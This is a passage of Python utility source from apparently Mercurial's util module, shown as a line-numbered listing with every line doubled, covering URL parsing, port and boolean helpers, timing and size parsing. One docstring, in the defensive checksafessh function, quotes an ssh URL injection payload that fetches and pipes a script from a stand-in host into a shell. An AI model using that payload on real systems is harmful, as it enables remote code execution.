2740 """Return the result of interpolating items in the mapping into string s.
2741
2741
2742 prefix is a single character string, or a two character string with
2742 prefix is a single character string, or a two character string with
2743 a backslash as the first character if the prefix needs to be escaped in
2743 a backslash as the first character if the prefix needs to be escaped in
2744 a regular expression.
2744 a regular expression.
2745
2745
2746 fn is an optional function that will be applied to the replacement text
2746 fn is an optional function that will be applied to the replacement text
2747 just before replacement.
2747 just before replacement.
2748
2748
2749 escape_prefix is an optional flag that allows using doubled prefix for
2749 escape_prefix is an optional flag that allows using doubled prefix for
2750 its escaping.
2750 its escaping.
2751 """
2751 """
2752 fn = fn or (lambda s: s)
2752 fn = fn or (lambda s: s)
2753 patterns = '|'.join(mapping.keys())
2753 patterns = '|'.join(mapping.keys())
2754 if escape_prefix:
2754 if escape_prefix:
2755 patterns += '|' + prefix
2755 patterns += '|' + prefix
2756 if len(prefix) > 1:
2756 if len(prefix) > 1:
2757 prefix_char = prefix[1:]
2757 prefix_char = prefix[1:]
2758 else:
2758 else:
2759 prefix_char = prefix
2759 prefix_char = prefix
2760 mapping[prefix_char] = prefix_char
2760 mapping[prefix_char] = prefix_char
2761 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2761 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2762 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2762 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2763
2763
2764 def getport(port):
2764 def getport(port):
2765 """Return the port for a given network service.
2765 """Return the port for a given network service.
2766
2766
2767 If port is an integer, it's returned as is. If it's a string, it's
2767 If port is an integer, it's returned as is. If it's a string, it's
2768 looked up using socket.getservbyname(). If there's no matching
2768 looked up using socket.getservbyname(). If there's no matching
2769 service, error.Abort is raised.
2769 service, error.Abort is raised.
2770 """
2770 """
2771 try:
2771 try:
2772 return int(port)
2772 return int(port)
2773 except ValueError:
2773 except ValueError:
2774 pass
2774 pass
2775
2775
2776 try:
2776 try:
2777 return socket.getservbyname(pycompat.sysstr(port))
2777 return socket.getservbyname(pycompat.sysstr(port))
2778 except socket.error:
2778 except socket.error:
2779 raise Abort(_("no port number associated with service '%s'") % port)
2779 raise Abort(_("no port number associated with service '%s'") % port)
2780
2780
2781 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2781 _booleans = {'1': True, 'yes': True, 'true': True, 'on': True, 'always': True,
2782 '0': False, 'no': False, 'false': False, 'off': False,
2782 '0': False, 'no': False, 'false': False, 'off': False,
2783 'never': False}
2783 'never': False}
2784
2784
2785 def parsebool(s):
2785 def parsebool(s):
2786 """Parse s into a boolean.
2786 """Parse s into a boolean.
2787
2787
2788 If s is not a valid boolean, returns None.
2788 If s is not a valid boolean, returns None.
2789 """
2789 """
2790 return _booleans.get(s.lower(), None)
2790 return _booleans.get(s.lower(), None)
2791
2791
2792 _hextochr = dict((a + b, chr(int(a + b, 16)))
2792 _hextochr = dict((a + b, chr(int(a + b, 16)))
2793 for a in string.hexdigits for b in string.hexdigits)
2793 for a in string.hexdigits for b in string.hexdigits)
2794
2794
2795 class url(object):
2795 class url(object):
2796 r"""Reliable URL parser.
2796 r"""Reliable URL parser.
2797
2797
2798 This parses URLs and provides attributes for the following
2798 This parses URLs and provides attributes for the following
2799 components:
2799 components:
2800
2800
2801 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2801 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2802
2802
2803 Missing components are set to None. The only exception is
2803 Missing components are set to None. The only exception is
2804 fragment, which is set to '' if present but empty.
2804 fragment, which is set to '' if present but empty.
2805
2805
2806 If parsefragment is False, fragment is included in query. If
2806 If parsefragment is False, fragment is included in query. If
2807 parsequery is False, query is included in path. If both are
2807 parsequery is False, query is included in path. If both are
2808 False, both fragment and query are included in path.
2808 False, both fragment and query are included in path.
2809
2809
2810 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2810 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2811
2811
2812 Note that for backward compatibility reasons, bundle URLs do not
2812 Note that for backward compatibility reasons, bundle URLs do not
2813 take host names. That means 'bundle://../' has a path of '../'.
2813 take host names. That means 'bundle://../' has a path of '../'.
2814
2814
2815 Examples:
2815 Examples:
2816
2816
2817 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2817 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2818 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2818 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2819 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2819 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2820 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2820 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2821 >>> url(b'file:///home/joe/repo')
2821 >>> url(b'file:///home/joe/repo')
2822 <url scheme: 'file', path: '/home/joe/repo'>
2822 <url scheme: 'file', path: '/home/joe/repo'>
2823 >>> url(b'file:///c:/temp/foo/')
2823 >>> url(b'file:///c:/temp/foo/')
2824 <url scheme: 'file', path: 'c:/temp/foo/'>
2824 <url scheme: 'file', path: 'c:/temp/foo/'>
2825 >>> url(b'bundle:foo')
2825 >>> url(b'bundle:foo')
2826 <url scheme: 'bundle', path: 'foo'>
2826 <url scheme: 'bundle', path: 'foo'>
2827 >>> url(b'bundle://../foo')
2827 >>> url(b'bundle://../foo')
2828 <url scheme: 'bundle', path: '../foo'>
2828 <url scheme: 'bundle', path: '../foo'>
2829 >>> url(br'c:\foo\bar')
2829 >>> url(br'c:\foo\bar')
2830 <url path: 'c:\\foo\\bar'>
2830 <url path: 'c:\\foo\\bar'>
2831 >>> url(br'\\blah\blah\blah')
2831 >>> url(br'\\blah\blah\blah')
2832 <url path: '\\\\blah\\blah\\blah'>
2832 <url path: '\\\\blah\\blah\\blah'>
2833 >>> url(br'\\blah\blah\blah#baz')
2833 >>> url(br'\\blah\blah\blah#baz')
2834 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2834 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2835 >>> url(br'file:///C:\users\me')
2835 >>> url(br'file:///C:\users\me')
2836 <url scheme: 'file', path: 'C:\\users\\me'>
2836 <url scheme: 'file', path: 'C:\\users\\me'>
2837
2837
2838 Authentication credentials:
2838 Authentication credentials:
2839
2839
2840 >>> url(b'ssh://joe:xyz@x/repo')
2840 >>> url(b'ssh://joe:xyz@x/repo')
2841 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2841 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2842 >>> url(b'ssh://joe@x/repo')
2842 >>> url(b'ssh://joe@x/repo')
2843 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2843 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2844
2844
2845 Query strings and fragments:
2845 Query strings and fragments:
2846
2846
2847 >>> url(b'http://host/a?b#c')
2847 >>> url(b'http://host/a?b#c')
2848 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2848 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2849 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2849 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2850 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2850 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2851
2851
2852 Empty path:
2852 Empty path:
2853
2853
2854 >>> url(b'')
2854 >>> url(b'')
2855 <url path: ''>
2855 <url path: ''>
2856 >>> url(b'#a')
2856 >>> url(b'#a')
2857 <url path: '', fragment: 'a'>
2857 <url path: '', fragment: 'a'>
2858 >>> url(b'http://host/')
2858 >>> url(b'http://host/')
2859 <url scheme: 'http', host: 'host', path: ''>
2859 <url scheme: 'http', host: 'host', path: ''>
2860 >>> url(b'http://host/#a')
2860 >>> url(b'http://host/#a')
2861 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2861 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2862
2862
2863 Only scheme:
2863 Only scheme:
2864
2864
2865 >>> url(b'http:')
2865 >>> url(b'http:')
2866 <url scheme: 'http'>
2866 <url scheme: 'http'>
2867 """
2867 """
2868
2868
2869 _safechars = "!~*'()+"
2869 _safechars = "!~*'()+"
2870 _safepchars = "/!~*'()+:\\"
2870 _safepchars = "/!~*'()+:\\"
2871 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2871 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2872
2872
2873 def __init__(self, path, parsequery=True, parsefragment=True):
2873 def __init__(self, path, parsequery=True, parsefragment=True):
2874 # We slowly chomp away at path until we have only the path left
2874 # We slowly chomp away at path until we have only the path left
2875 self.scheme = self.user = self.passwd = self.host = None
2875 self.scheme = self.user = self.passwd = self.host = None
2876 self.port = self.path = self.query = self.fragment = None
2876 self.port = self.path = self.query = self.fragment = None
2877 self._localpath = True
2877 self._localpath = True
2878 self._hostport = ''
2878 self._hostport = ''
2879 self._origpath = path
2879 self._origpath = path
2880
2880
2881 if parsefragment and '#' in path:
2881 if parsefragment and '#' in path:
2882 path, self.fragment = path.split('#', 1)
2882 path, self.fragment = path.split('#', 1)
2883
2883
2884 # special case for Windows drive letters and UNC paths
2884 # special case for Windows drive letters and UNC paths
2885 if hasdriveletter(path) or path.startswith('\\\\'):
2885 if hasdriveletter(path) or path.startswith('\\\\'):
2886 self.path = path
2886 self.path = path
2887 return
2887 return
2888
2888
2889 # For compatibility reasons, we can't handle bundle paths as
2889 # For compatibility reasons, we can't handle bundle paths as
2890 # normal URLS
2890 # normal URLS
2891 if path.startswith('bundle:'):
2891 if path.startswith('bundle:'):
2892 self.scheme = 'bundle'
2892 self.scheme = 'bundle'
2893 path = path[7:]
2893 path = path[7:]
2894 if path.startswith('//'):
2894 if path.startswith('//'):
2895 path = path[2:]
2895 path = path[2:]
2896 self.path = path
2896 self.path = path
2897 return
2897 return
2898
2898
2899 if self._matchscheme(path):
2899 if self._matchscheme(path):
2900 parts = path.split(':', 1)
2900 parts = path.split(':', 1)
2901 if parts[0]:
2901 if parts[0]:
2902 self.scheme, path = parts
2902 self.scheme, path = parts
2903 self._localpath = False
2903 self._localpath = False
2904
2904
2905 if not path:
2905 if not path:
2906 path = None
2906 path = None
2907 if self._localpath:
2907 if self._localpath:
2908 self.path = ''
2908 self.path = ''
2909 return
2909 return
2910 else:
2910 else:
2911 if self._localpath:
2911 if self._localpath:
2912 self.path = path
2912 self.path = path
2913 return
2913 return
2914
2914
2915 if parsequery and '?' in path:
2915 if parsequery and '?' in path:
2916 path, self.query = path.split('?', 1)
2916 path, self.query = path.split('?', 1)
2917 if not path:
2917 if not path:
2918 path = None
2918 path = None
2919 if not self.query:
2919 if not self.query:
2920 self.query = None
2920 self.query = None
2921
2921
2922 # // is required to specify a host/authority
2922 # // is required to specify a host/authority
2923 if path and path.startswith('//'):
2923 if path and path.startswith('//'):
2924 parts = path[2:].split('/', 1)
2924 parts = path[2:].split('/', 1)
2925 if len(parts) > 1:
2925 if len(parts) > 1:
2926 self.host, path = parts
2926 self.host, path = parts
2927 else:
2927 else:
2928 self.host = parts[0]
2928 self.host = parts[0]
2929 path = None
2929 path = None
2930 if not self.host:
2930 if not self.host:
2931 self.host = None
2931 self.host = None
2932 # path of file:///d is /d
2932 # path of file:///d is /d
2933 # path of file:///d:/ is d:/, not /d:/
2933 # path of file:///d:/ is d:/, not /d:/
2934 if path and not hasdriveletter(path):
2934 if path and not hasdriveletter(path):
2935 path = '/' + path
2935 path = '/' + path
2936
2936
2937 if self.host and '@' in self.host:
2937 if self.host and '@' in self.host:
2938 self.user, self.host = self.host.rsplit('@', 1)
2938 self.user, self.host = self.host.rsplit('@', 1)
2939 if ':' in self.user:
2939 if ':' in self.user:
2940 self.user, self.passwd = self.user.split(':', 1)
2940 self.user, self.passwd = self.user.split(':', 1)
2941 if not self.host:
2941 if not self.host:
2942 self.host = None
2942 self.host = None
2943
2943
2944 # Don't split on colons in IPv6 addresses without ports
2944 # Don't split on colons in IPv6 addresses without ports
2945 if (self.host and ':' in self.host and
2945 if (self.host and ':' in self.host and
2946 not (self.host.startswith('[') and self.host.endswith(']'))):
2946 not (self.host.startswith('[') and self.host.endswith(']'))):
2947 self._hostport = self.host
2947 self._hostport = self.host
2948 self.host, self.port = self.host.rsplit(':', 1)
2948 self.host, self.port = self.host.rsplit(':', 1)
2949 if not self.host:
2949 if not self.host:
2950 self.host = None
2950 self.host = None
2951
2951
2952 if (self.host and self.scheme == 'file' and
2952 if (self.host and self.scheme == 'file' and
2953 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2953 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2954 raise Abort(_('file:// URLs can only refer to localhost'))
2954 raise Abort(_('file:// URLs can only refer to localhost'))
2955
2955
2956 self.path = path
2956 self.path = path
2957
2957
2958 # leave the query string escaped
2958 # leave the query string escaped
2959 for a in ('user', 'passwd', 'host', 'port',
2959 for a in ('user', 'passwd', 'host', 'port',
2960 'path', 'fragment'):
2960 'path', 'fragment'):
2961 v = getattr(self, a)
2961 v = getattr(self, a)
2962 if v is not None:
2962 if v is not None:
2963 setattr(self, a, urlreq.unquote(v))
2963 setattr(self, a, urlreq.unquote(v))
2964
2964
2965 @encoding.strmethod
2965 @encoding.strmethod
2966 def __repr__(self):
2966 def __repr__(self):
2967 attrs = []
2967 attrs = []
2968 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2968 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2969 'query', 'fragment'):
2969 'query', 'fragment'):
2970 v = getattr(self, a)
2970 v = getattr(self, a)
2971 if v is not None:
2971 if v is not None:
2972 attrs.append('%s: %r' % (a, v))
2972 attrs.append('%s: %r' % (a, v))
2973 return '<url %s>' % ', '.join(attrs)
2973 return '<url %s>' % ', '.join(attrs)
2974
2974
2975 def __bytes__(self):
2975 def __bytes__(self):
2976 r"""Join the URL's components back into a URL string.
2976 r"""Join the URL's components back into a URL string.
2977
2977
2978 Examples:
2978 Examples:
2979
2979
2980 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2980 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2981 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2981 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2982 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2982 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2983 'http://user:pw@host:80/?foo=bar&baz=42'
2983 'http://user:pw@host:80/?foo=bar&baz=42'
2984 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2984 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2985 'http://user:pw@host:80/?foo=bar%3dbaz'
2985 'http://user:pw@host:80/?foo=bar%3dbaz'
2986 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2986 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2987 'ssh://user:pw@[::1]:2200//home/joe#'
2987 'ssh://user:pw@[::1]:2200//home/joe#'
2988 >>> bytes(url(b'http://localhost:80//'))
2988 >>> bytes(url(b'http://localhost:80//'))
2989 'http://localhost:80//'
2989 'http://localhost:80//'
2990 >>> bytes(url(b'http://localhost:80/'))
2990 >>> bytes(url(b'http://localhost:80/'))
2991 'http://localhost:80/'
2991 'http://localhost:80/'
2992 >>> bytes(url(b'http://localhost:80'))
2992 >>> bytes(url(b'http://localhost:80'))
2993 'http://localhost:80/'
2993 'http://localhost:80/'
2994 >>> bytes(url(b'bundle:foo'))
2994 >>> bytes(url(b'bundle:foo'))
2995 'bundle:foo'
2995 'bundle:foo'
2996 >>> bytes(url(b'bundle://../foo'))
2996 >>> bytes(url(b'bundle://../foo'))
2997 'bundle:../foo'
2997 'bundle:../foo'
2998 >>> bytes(url(b'path'))
2998 >>> bytes(url(b'path'))
2999 'path'
2999 'path'
3000 >>> bytes(url(b'file:///tmp/foo/bar'))
3000 >>> bytes(url(b'file:///tmp/foo/bar'))
3001 'file:///tmp/foo/bar'
3001 'file:///tmp/foo/bar'
3002 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3002 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3003 'file:///c:/tmp/foo/bar'
3003 'file:///c:/tmp/foo/bar'
3004 >>> print(url(br'bundle:foo\bar'))
3004 >>> print(url(br'bundle:foo\bar'))
3005 bundle:foo\bar
3005 bundle:foo\bar
3006 >>> print(url(br'file:///D:\data\hg'))
3006 >>> print(url(br'file:///D:\data\hg'))
3007 file:///D:\data\hg
3007 file:///D:\data\hg
3008 """
3008 """
3009 if self._localpath:
3009 if self._localpath:
3010 s = self.path
3010 s = self.path
3011 if self.scheme == 'bundle':
3011 if self.scheme == 'bundle':
3012 s = 'bundle:' + s
3012 s = 'bundle:' + s
3013 if self.fragment:
3013 if self.fragment:
3014 s += '#' + self.fragment
3014 s += '#' + self.fragment
3015 return s
3015 return s
3016
3016
3017 s = self.scheme + ':'
3017 s = self.scheme + ':'
3018 if self.user or self.passwd or self.host:
3018 if self.user or self.passwd or self.host:
3019 s += '//'
3019 s += '//'
3020 elif self.scheme and (not self.path or self.path.startswith('/')
3020 elif self.scheme and (not self.path or self.path.startswith('/')
3021 or hasdriveletter(self.path)):
3021 or hasdriveletter(self.path)):
3022 s += '//'
3022 s += '//'
3023 if hasdriveletter(self.path):
3023 if hasdriveletter(self.path):
3024 s += '/'
3024 s += '/'
3025 if self.user:
3025 if self.user:
3026 s += urlreq.quote(self.user, safe=self._safechars)
3026 s += urlreq.quote(self.user, safe=self._safechars)
3027 if self.passwd:
3027 if self.passwd:
3028 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3028 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3029 if self.user or self.passwd:
3029 if self.user or self.passwd:
3030 s += '@'
3030 s += '@'
3031 if self.host:
3031 if self.host:
3032 if not (self.host.startswith('[') and self.host.endswith(']')):
3032 if not (self.host.startswith('[') and self.host.endswith(']')):
3033 s += urlreq.quote(self.host)
3033 s += urlreq.quote(self.host)
3034 else:
3034 else:
3035 s += self.host
3035 s += self.host
3036 if self.port:
3036 if self.port:
3037 s += ':' + urlreq.quote(self.port)
3037 s += ':' + urlreq.quote(self.port)
3038 if self.host:
3038 if self.host:
3039 s += '/'
3039 s += '/'
3040 if self.path:
3040 if self.path:
3041 # TODO: similar to the query string, we should not unescape the
3041 # TODO: similar to the query string, we should not unescape the
3042 # path when we store it, the path might contain '%2f' = '/',
3042 # path when we store it, the path might contain '%2f' = '/',
3043 # which we should *not* escape.
3043 # which we should *not* escape.
3044 s += urlreq.quote(self.path, safe=self._safepchars)
3044 s += urlreq.quote(self.path, safe=self._safepchars)
3045 if self.query:
3045 if self.query:
3046 # we store the query in escaped form.
3046 # we store the query in escaped form.
3047 s += '?' + self.query
3047 s += '?' + self.query
3048 if self.fragment is not None:
3048 if self.fragment is not None:
3049 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3049 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3050 return s
3050 return s
3051
3051
3052 __str__ = encoding.strmethod(__bytes__)
3052 __str__ = encoding.strmethod(__bytes__)
3053
3053
3054 def authinfo(self):
3054 def authinfo(self):
3055 user, passwd = self.user, self.passwd
3055 user, passwd = self.user, self.passwd
3056 try:
3056 try:
3057 self.user, self.passwd = None, None
3057 self.user, self.passwd = None, None
3058 s = bytes(self)
3058 s = bytes(self)
3059 finally:
3059 finally:
3060 self.user, self.passwd = user, passwd
3060 self.user, self.passwd = user, passwd
3061 if not self.user:
3061 if not self.user:
3062 return (s, None)
3062 return (s, None)
3063 # authinfo[1] is passed to urllib2 password manager, and its
3063 # authinfo[1] is passed to urllib2 password manager, and its
3064 # URIs must not contain credentials. The host is passed in the
3064 # URIs must not contain credentials. The host is passed in the
3065 # URIs list because Python < 2.4.3 uses only that to search for
3065 # URIs list because Python < 2.4.3 uses only that to search for
3066 # a password.
3066 # a password.
3067 return (s, (None, (s, self.host),
3067 return (s, (None, (s, self.host),
3068 self.user, self.passwd or ''))
3068 self.user, self.passwd or ''))
3069
3069
3070 def isabs(self):
3070 def isabs(self):
3071 if self.scheme and self.scheme != 'file':
3071 if self.scheme and self.scheme != 'file':
3072 return True # remote URL
3072 return True # remote URL
3073 if hasdriveletter(self.path):
3073 if hasdriveletter(self.path):
3074 return True # absolute for our purposes - can't be joined()
3074 return True # absolute for our purposes - can't be joined()
3075 if self.path.startswith(br'\\'):
3075 if self.path.startswith(br'\\'):
3076 return True # Windows UNC path
3076 return True # Windows UNC path
3077 if self.path.startswith('/'):
3077 if self.path.startswith('/'):
3078 return True # POSIX-style
3078 return True # POSIX-style
3079 return False
3079 return False
3080
3080
3081 def localpath(self):
3081 def localpath(self):
3082 if self.scheme == 'file' or self.scheme == 'bundle':
3082 if self.scheme == 'file' or self.scheme == 'bundle':
3083 path = self.path or '/'
3083 path = self.path or '/'
3084 # For Windows, we need to promote hosts containing drive
3084 # For Windows, we need to promote hosts containing drive
3085 # letters to paths with drive letters.
3085 # letters to paths with drive letters.
3086 if hasdriveletter(self._hostport):
3086 if hasdriveletter(self._hostport):
3087 path = self._hostport + '/' + self.path
3087 path = self._hostport + '/' + self.path
3088 elif (self.host is not None and self.path
3088 elif (self.host is not None and self.path
3089 and not hasdriveletter(path)):
3089 and not hasdriveletter(path)):
3090 path = '/' + path
3090 path = '/' + path
3091 return path
3091 return path
3092 return self._origpath
3092 return self._origpath
3093
3093
3094 def islocal(self):
3094 def islocal(self):
3095 '''whether localpath will return something that posixfile can open'''
3095 '''whether localpath will return something that posixfile can open'''
3096 return (not self.scheme or self.scheme == 'file'
3096 return (not self.scheme or self.scheme == 'file'
3097 or self.scheme == 'bundle')
3097 or self.scheme == 'bundle')
3098
3098
3099 def hasscheme(path):
3099 def hasscheme(path):
3100 return bool(url(path).scheme)
3100 return bool(url(path).scheme)
3101
3101
3102 def hasdriveletter(path):
3102 def hasdriveletter(path):
3103 return path and path[1:2] == ':' and path[0:1].isalpha()
3103 return path and path[1:2] == ':' and path[0:1].isalpha()
3104
3104
3105 def urllocalpath(path):
3105 def urllocalpath(path):
3106 return url(path, parsequery=False, parsefragment=False).localpath()
3106 return url(path, parsequery=False, parsefragment=False).localpath()
3107
3107
3108 def checksafessh(path):
3108 def checksafessh(path):
3109 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3109 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3110
3110
3111 This is a sanity check for ssh urls. ssh will parse the first item as
3111 This is a sanity check for ssh urls. ssh will parse the first item as
3112 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3112 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3113 Let's prevent these potentially exploited urls entirely and warn the
3113 Let's prevent these potentially exploited urls entirely and warn the
3114 user.
3114 user.
3115
3115
3116 Raises an error.Abort when the url is unsafe.
3116 Raises an error.Abort when the url is unsafe.
3117 """
3117 """
3118 path = urlreq.unquote(path)
3118 path = urlreq.unquote(path)
3119 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3119 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3120 raise error.Abort(_('potentially unsafe url: %r') %
3120 raise error.Abort(_('potentially unsafe url: %r') %
3121 (pycompat.bytestr(path),))
3121 (pycompat.bytestr(path),))
3122
3122
3123 def hidepassword(u):
3123 def hidepassword(u):
3124 '''hide user credential in a url string'''
3124 '''hide user credential in a url string'''
3125 u = url(u)
3125 u = url(u)
3126 if u.passwd:
3126 if u.passwd:
3127 u.passwd = '***'
3127 u.passwd = '***'
3128 return bytes(u)
3128 return bytes(u)
3129
3129
3130 def removeauth(u):
3130 def removeauth(u):
3131 '''remove all authentication information from a url string'''
3131 '''remove all authentication information from a url string'''
3132 u = url(u)
3132 u = url(u)
3133 u.user = u.passwd = None
3133 u.user = u.passwd = None
3134 return str(u)
3134 return str(u)
3135
3135
3136 timecount = unitcountfn(
3136 timecount = unitcountfn(
3137 (1, 1e3, _('%.0f s')),
3137 (1, 1e3, _('%.0f s')),
3138 (100, 1, _('%.1f s')),
3138 (100, 1, _('%.1f s')),
3139 (10, 1, _('%.2f s')),
3139 (10, 1, _('%.2f s')),
3140 (1, 1, _('%.3f s')),
3140 (1, 1, _('%.3f s')),
3141 (100, 0.001, _('%.1f ms')),
3141 (100, 0.001, _('%.1f ms')),
3142 (10, 0.001, _('%.2f ms')),
3142 (10, 0.001, _('%.2f ms')),
3143 (1, 0.001, _('%.3f ms')),
3143 (1, 0.001, _('%.3f ms')),
3144 (100, 0.000001, _('%.1f us')),
3144 (100, 0.000001, _('%.1f us')),
3145 (10, 0.000001, _('%.2f us')),
3145 (10, 0.000001, _('%.2f us')),
3146 (1, 0.000001, _('%.3f us')),
3146 (1, 0.000001, _('%.3f us')),
3147 (100, 0.000000001, _('%.1f ns')),
3147 (100, 0.000000001, _('%.1f ns')),
3148 (10, 0.000000001, _('%.2f ns')),
3148 (10, 0.000000001, _('%.2f ns')),
3149 (1, 0.000000001, _('%.3f ns')),
3149 (1, 0.000000001, _('%.3f ns')),
3150 )
3150 )
3151
3151
3152 _timenesting = [0]
3152 _timenesting = [0]
3153
3153
3154 def timed(func):
3154 def timed(func):
3155 '''Report the execution time of a function call to stderr.
3155 '''Report the execution time of a function call to stderr.
3156
3156
3157 During development, use as a decorator when you need to measure
3157 During development, use as a decorator when you need to measure
3158 the cost of a function, e.g. as follows:
3158 the cost of a function, e.g. as follows:
3159
3159
3160 @util.timed
3160 @util.timed
3161 def foo(a, b, c):
3161 def foo(a, b, c):
3162 pass
3162 pass
3163 '''
3163 '''
3164
3164
3165 def wrapper(*args, **kwargs):
3165 def wrapper(*args, **kwargs):
3166 start = timer()
3166 start = timer()
3167 indent = 2
3167 indent = 2
3168 _timenesting[0] += indent
3168 _timenesting[0] += indent
3169 try:
3169 try:
3170 return func(*args, **kwargs)
3170 return func(*args, **kwargs)
3171 finally:
3171 finally:
3172 elapsed = timer() - start
3172 elapsed = timer() - start
3173 _timenesting[0] -= indent
3173 _timenesting[0] -= indent
3174 stderr.write('%s%s: %s\n' %
3174 stderr.write('%s%s: %s\n' %
3175 (' ' * _timenesting[0], func.__name__,
3175 (' ' * _timenesting[0], func.__name__,
3176 timecount(elapsed)))
3176 timecount(elapsed)))
3177 return wrapper
3177 return wrapper
3178
3178
3179 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3179 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3180 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3180 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3181
3181
3182 def sizetoint(s):
3182 def sizetoint(s):
3183 '''Convert a space specifier to a byte count.
3183 '''Convert a space specifier to a byte count.
3184
3184
3185 >>> sizetoint(b'30')
3185 >>> sizetoint(b'30')
3186 30
3186 30
3187 >>> sizetoint(b'2.2kb')
3187 >>> sizetoint(b'2.2kb')
3188 2252
3188 2252
3189 >>> sizetoint(b'6M')
3189 >>> sizetoint(b'6M')
3190 6291456
3190 6291456
3191 '''
3191 '''
3192 t = s.strip().lower()
3192 t = s.strip().lower()
3193 try:
3193 try:
3194 for k, u in _sizeunits:
3194 for k, u in _sizeunits:
3195 if t.endswith(k):
3195 if t.endswith(k):
3196 return int(float(t[:-len(k)]) * u)
3196 return int(float(t[:-len(k)]) * u)
3197 return int(t)
3197 return int(t)
3198 except ValueError:
3198 except ValueError:
3199 raise error.ParseError(_("couldn't parse size: %s") % s)
3199 raise error.ParseError(_("couldn't parse size: %s") % s)
3200
3200
3201 class hooks(object):
3201 class hooks(object):
3202 '''A collection of hook functions that can be used to extend a
3202 '''A collection of hook functions that can be used to extend a
3203 function's behavior. Hooks are called in lexicographic order,
3203 function's behavior. Hooks are called in lexicographic order,
3204 based on the names of their sources.'''
3204 based on the names of their sources.'''
3205
3205
3206 def __init__(self):
3206 def __init__(self):
3207 self._hooks = []
3207 self._hooks = []
3208
3208
3209 def add(self, source, hook):
3209 def add(self, source, hook):
3210 self._hooks.append((source, hook))
3210 self._hooks.append((source, hook))
3211
3211
3212 def __call__(self, *args):
3212 def __call__(self, *args):
3213 self._hooks.sort(key=lambda x: x[0])
3213 self._hooks.sort(key=lambda x: x[0])
3214 results = []
3214 results = []
3215 for source, hook in self._hooks:
3215 for source, hook in self._hooks:
3216 results.append(hook(*args))
3216 results.append(hook(*args))
3217 return results
3217 return results
3218
3218
3219 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3219 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3220 '''Yields lines for a nicely formatted stacktrace.
3220 '''Yields lines for a nicely formatted stacktrace.
3221 Skips the 'skip' last entries, then return the last 'depth' entries.
3221 Skips the 'skip' last entries, then return the last 'depth' entries.
3222 Each file+linenumber is formatted according to fileline.
3222 Each file+linenumber is formatted according to fileline.
3223 Each line is formatted according to line.
3223 Each line is formatted according to line.
3224 If line is None, it yields:
3224 If line is None, it yields:
3225 length of longest filepath+line number,
3225 length of longest filepath+line number,
3226 filepath+linenumber,
3226 filepath+linenumber,
3227 function
3227 function
3228
3228
3229 Not be used in production code but very convenient while developing.
